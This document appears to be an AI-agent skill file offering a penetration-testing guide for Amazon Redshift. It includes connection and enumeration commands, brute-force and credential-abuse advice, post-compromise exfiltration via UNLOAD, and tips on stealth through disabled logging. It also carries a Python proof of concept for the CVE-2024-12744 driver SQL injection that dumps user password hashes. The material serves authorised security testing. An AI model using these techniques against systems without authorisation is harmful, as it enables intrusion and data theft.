Redshift Pentest

Redshift Pentesting Skill

This skill helps you enumerate, authenticate against, and test Amazon Redshift data warehouses for security issues. Redshift uses a modified PostgreSQL protocol on port 5439.

When to Use This Skill

Use this skill when:

• You need to test a Redshift cluster or workgroup
• You discover port 5439 open on a target
• You're assessing AWS data warehouse security
• You need to test IAM database authentication
• You want to check for public access misconfigurations
• You're investigating Redshift-specific vulnerabilities

Quick Start

1. Identify the Target

Public endpoint patterns:

• Provisioned: <clusterid>.<random>.<region>.redshift.amazonaws.com
• Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com
• China region: .redshift.amazonaws.com.cn

Default port: 5439/TCP (customizable but rarely changed)

2. Test Connectivity

# Basic connection test with TLS
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"

# Check version and banner
psql "host=<endpoint> user=<user> dbname=dev" -c 'select version();'

TLS Requirements: Redshift requires TLS 1.2+ with perfect-forward-secrecy ciphers. Old clients will fail.

3. Enumerate the Instance

# List databases
\l

# List users and privileges
\du
select * from pg_user;

# Check active sessions
select * from svv_redshift_sessions;

# Check cluster parameters
select * from svl_query_text;

Username enumeration: Different error messages for bad password vs missing user can leak valid usernames during brute force.

Authentication Paths to Test

Database Password

• Master user is often named awsuser
• Test common credentials and password reuse
• Check for weak/default passwords

IAM Authentication Tokens

Generate short-lived credentials:

aws redshift get-cluster-credentials \
  --cluster-identifier <id> \
  --db-user pentest \
  --db-name dev \
  --duration-seconds 900

Then connect:

psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"

Abuse vectors:

• Stolen IAM credentials with rds-db:connect equivalent permissions
• Overprivileged IAM roles attached to EC2 instances
• SSRF into VPC to reach Redshift endpoint

SSO / Identity Center / SAML

JDBC connections with plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider may:

• Spin up local webserver for SSO callback
• Leak SAML assertions or temporary credentials via captured loopback traffic

Common Misconfigurations

1. Public Access

Check: PubliclyAccessible=true with wide-open security group (0.0.0.0/0)

Impact: Exposes Postgres-like surface for:

• Brute force attacks
• SQL injection exploitation
• Credential stuffing

Note: New clusters disable public access by default (Jan 2025), but legacy clusters may still be public.

2. Default Port + Default SG

Port 5439 with default security group is easily discoverable via Shodan/Censys.

3. No Enhanced VPC Routing

COPY/UNLOAD operations go over public Internet, enabling:

• Data exfiltration when attacker controls S3 bucket
• Data injection via compromised S3

Attack Techniques

Post-Compromise Actions

If you gain access:

Provisioned clusters (master user):

• Create Python UDFs for code execution (deprecated June 2026)
• Create external schema to Spectrum
• COPY from attacker-controlled S3 bucket
• UNLOAD to exfiltrate data to S3

Serverless workgroups:

• No superuser available
• Same SQL attack surface as provisioned
• Limited to granted privileges

Check Logging Configuration

-- Check if user activity logging is disabled (aids stealth)
select * from svl_query_text where query_text like '%enable_user_activity_logging%';

CVE-2024-12744/5/6 - Client-Side Metadata SQLi

Affected versions:

• JDBC: 2.1.0.31
• Python connector: 2.1.4
• ODBC: 2.1.5.0

Vulnerability: Metadata queries (getSchemas, getTables, getColumns) build SQL with unquoted user input.

Exploit (Python):

import redshift_connector

conn = redshift_connector.connect(
    host='<endpoint>',
    database='dev',
    user='lowpriv',
    password='pw'
)
cur = conn.cursor()

# Injection in table_pattern leaks data from pg_tables
cur.get_tables(
    table_schema='public',
    table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--"
)

Impact: Arbitrary SQL execution with the DB user's privileges if an application lets attackers control catalog/pattern arguments.

UDF Execution Model

Python UDFs: End of support June 30, 2026

• Legacy provisioned clusters still run Python UDFs
• In-cluster code execution (no filesystem/network access)
• Offensive value: RCE primitive within cluster

Lambda UDFs: Required after June 2026

• Code runs in Lambda with IAM role
• May reach Internet/VPC endpoints
• Potential for SSRF/pivot but no direct cluster filesystem access

Hunting tip: Look for old clusters with Python UDFs enabled.

Recent Security Changes

January 2025

• Public access disabled by default on new clusters/snapshots
• Legacy clusters may still be publicly accessible

June 2025

• Serverless VPCE rollout: workgroup endpoints created in up to 3 AZs
• Discovery tools should enumerate all workgroup VPCE DNS names per AZ

Encryption

• Encryption at rest + enforced TLS by default
• Sniffing/MITM harder; need valid credentials or SSRF into VPC

Parameter Group Checks

Check these parameters for security implications:

• require_ssl: Controls if plaintext connections allowed (default: true in default.redshift-2.0)
• max_concurrency_scaling_clusters: Affects brute force resistance
• enable_user_activity_logging: Disabled = easier stealth

References

• AWS Security Bulletin – SQLi in Redshift drivers (CVE-2024-12744/5/6)
• AWS Big Data Blog – Python UDF end-of-support
• HackTricks – AWS Redshift Enumeration